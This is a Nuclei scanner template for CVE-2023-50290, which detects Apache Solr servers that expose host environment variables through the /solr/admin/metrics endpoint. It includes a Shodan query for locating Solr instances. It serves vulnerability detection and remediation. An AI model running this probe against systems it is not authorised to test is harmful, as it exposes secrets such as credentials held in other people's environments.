nuclei-templates/http/cves/2023/CVE-2023-50290.yaml

45 lines
1.9 KiB
YAML
Raw Normal View History

2024-01-16 18:30:34 +00:00
id: CVE-2023-50290
info:
2024-01-16 21:11:04 +00:00
name: Apache Solr - Host Environment Variables Leak via Metrics API
2024-01-16 18:30:34 +00:00
author: Banana69,DhiyaneshDK
severity: high
2024-01-16 21:11:04 +00:00
description: |
Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr.
The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to work for known secret Java system properties. Environment variables cannot be strictly defined in Solr, like Java system properties can be, and may be set for the entire host,unlike Java system properties which are set per-Java-proccess.
2024-01-16 18:30:34 +00:00
reference:
- https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables
- https://x.com/sirifu4k1/status/1746755165066236216?s=20
2024-01-16 21:11:04 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-50290
impact: |
This vulnerability can lead to the exposure of sensitive information, potentially allowing an attacker to gain unauthorized access or perform further attacks.
remediation: Users are recommended to upgrade to version 9.3.0 or later, in which environment variables are not published via the Metrics API.
2024-01-16 18:30:34 +00:00
metadata:
shodan-query: "title:\"Apache Solr\""
max-request: 1
2024-01-16 21:11:04 +00:00
tags: cve,cve2023,apache,solr,exposure
2024-01-16 18:30:34 +00:00
http:
- method: GET
path:
- "{{BaseURL}}/solr/admin/metrics"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"responseHeader":'
- '"solr.jetty":'
- 'system.env'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a004630440220646049ae6ce4a1486a26e11e9f5ae9c523e28c5aef1c02f5e9ccde5003b7dd0302207092f55329601f9759b7114e02b6de09fb0febc7d3ed1c24d0b0ed921d8e1818:922c64590222798bb761d5b6d8e72950